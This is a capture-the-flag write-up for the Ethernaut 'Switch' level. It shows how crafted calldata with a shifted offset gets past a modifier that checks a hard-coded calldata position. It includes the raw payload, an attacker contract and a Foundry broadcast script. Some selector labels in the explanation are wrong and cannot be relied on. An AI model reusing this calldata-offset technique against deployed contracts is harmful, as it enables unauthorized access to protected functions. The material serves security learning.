The Ethernaut CTF Solutions | 29 - Switch

The Ethernaut CTF Solutions | 29 - Switch

Flipping the Switch: Engineering Calldata to Access Contract Functions

ยท

5 min read

Goals

The Contract

This one is a really fun one to finish this series with a super simple goal: Turn the switch on. Unlike the previous Gate Keeper Three, the Switch challenge is far from easy, especially if you are not familiar with calldata and memory pointers.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}

The hack

Just have to flip the switch... And we even have a turnSwitchOn() function to do just that. However, this function is protected by the onlyThis modifier:

modifier onlyThis() {
    require(msg.sender == address(this), "Only the contract can call this");
    _;
}

So only the Switch contract can call it. So let's take a look at the flipSwitch() function, after all, with such a name, it might just work!

function flipSwitch(bytes memory _data) public onlyOff {
    (bool success, ) = address(this).call(_data);
    require(success, "call failed :(");
}

This function does an external call on itself, it seems too good to be true. We could simply pass the turnSwitchOn() function selector...

But let's take a look at the onlyOff modifier, in case:

modifier onlyOff() {
    // we use a complex data type to put in memory
    bytes32[1] memory selector;
    // check that the calldata at position 68 (location of _data)
    assembly {
        calldatacopy(selector, 68, 4) // grab function selector from calldata
    }
    require(
        selector[0] == offSelector,
        "Can only call the turnOffSwitch function"
    );
    _;
}

Obviously enough, the goal of this modifier is to make sure we CAN ONLY pass the turnSwitchOff() function selector to the flipSwitch() function! So we will need to craft some custom calldata to pass the turnSwitchOn() function selector while making sure the turnSwitchOff() selector is positioned at the 68th byte of the calldata.

Well... How to do that?

Calldata encoding

We know that each solidity types are stored in its hex form, padded with zeros to fill a 32-byte slot. For instance:

uint256 20 is 0x14 in hex, and would be stored like this: 0x0000000000000000000000000000000000000000000000000000000000000014

For dynamic types, it is a bit different and solidity stores them as follows:

  • first 32-byte is the offset of the data;

  • second 32-byte is the length of the data;

  • next are the data themselves.

Let's take the following array of prime numbers for instance: uint256[] memory data = [2, 3, 5, 7, 11]. It would be stored as follows:

offset:
0000000000000000000000000000000000000000000000000000000000000020

length (5 elements in the array):
0000000000000000000000000000000000000000000000000000000000000005

first element value(2):
0000000000000000000000000000000000000000000000000000000000000002

second element value(3):
0000000000000000000000000000000000000000000000000000000000000003

third element value(5):
0000000000000000000000000000000000000000000000000000000000000005

fourth element value(7):
0000000000000000000000000000000000000000000000000000000000000007

fifth element value(11):
000000000000000000000000000000000000000000000000000000000000000B

And the output would be:

0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000007000000000000000000000000000000000000000000000000000000000000000B

So, with that in mind, let's try to craft the calldata for the flipSwitch() function.

Custom calldata

We will need the turnSwitchOn() and turnSwitchOff() function selectors:

cast sig "turnSwitchOn()"
=> 0x30c13ade

cast sig "turnSwitchOff()"
=> 0x20606e15

Now, why is the onlyOff modifier targeting the position 68?

  • The first 4 bytes are the function selector;

  • The next 64 bytes are the offset and the length of the data;

So the data, which is the function selector, starts at the 68th byte. What if we play with the offset and tell the function that the data starts at position 96 instead?

function selector turnSwitchOn:
30c13ade

offset: (96-byte instead of 68-byte)
0000000000000000000000000000000000000000000000000000000000000060

extra blank 32-byte:
0000000000000000000000000000000000000000000000000000000000000000

function selector turnSwitchOff at position 68:
20606e1500000000000000000000000000000000000000000000000000000000

data length (4-byte):
0000000000000000000000000000000000000000000000000000000000000004

data containing the function selector that will be called:
76227e1200000000000000000000000000000000000000000000000000000000

And here is the output:

0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000

The turnSwitchOn() function selector is positioned at position 68, however, it is not relevant anymore as we are telling the function that the data starts at position 96 instead! We can finally call the flipSwitch() function to toggle the switch on!

Solution

In the browser's console:

await sendTransaction({
  from: player,
  to: instance,
  data: "0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000",
});

In Foundry using forge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Switcher {
    address private immutable switchContract;
    bytes4 public onSelector = bytes4(keccak256("turnSwitchOn()"));
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    constructor(address _switchContract) {
        switchContract = _switchContract;
    }

    function toogle() public {
        bytes
            memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";

        (bool success, ) = switchContract.call(data);
        require(success, "Toogle failed!");
    }
}

Now we can craft the script for deployment:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Switcher} from "../src/29_Switch.sol";

interface ISwitch {
    function switchOn() external view returns (bool);
}

contract PoC is Script {
    // Replace with your Switch instance
    address private immutable switchContract =
        0x71d674183F060C9819002181A2cDBa21520D17c2;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        Switcher switcher = new Switcher(switchContract);
        switcher.toogle();
        console2.log(
            "Is the switch on yet? ",
            ISwitch(switchContract).switchOn()
        );

        vm.stopBroadcast();
    }
}

And the command to run the script:

forge script script/29_Switch.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

Let's check the result:

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Calldata encoding is a crucial part of the Ethereum Virtual Machine (EVM).

  • Assuming positions in CALLDATA with dynamic types can be erroneous, especially when using hard-coded CALLDATA positions.

Reference


You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย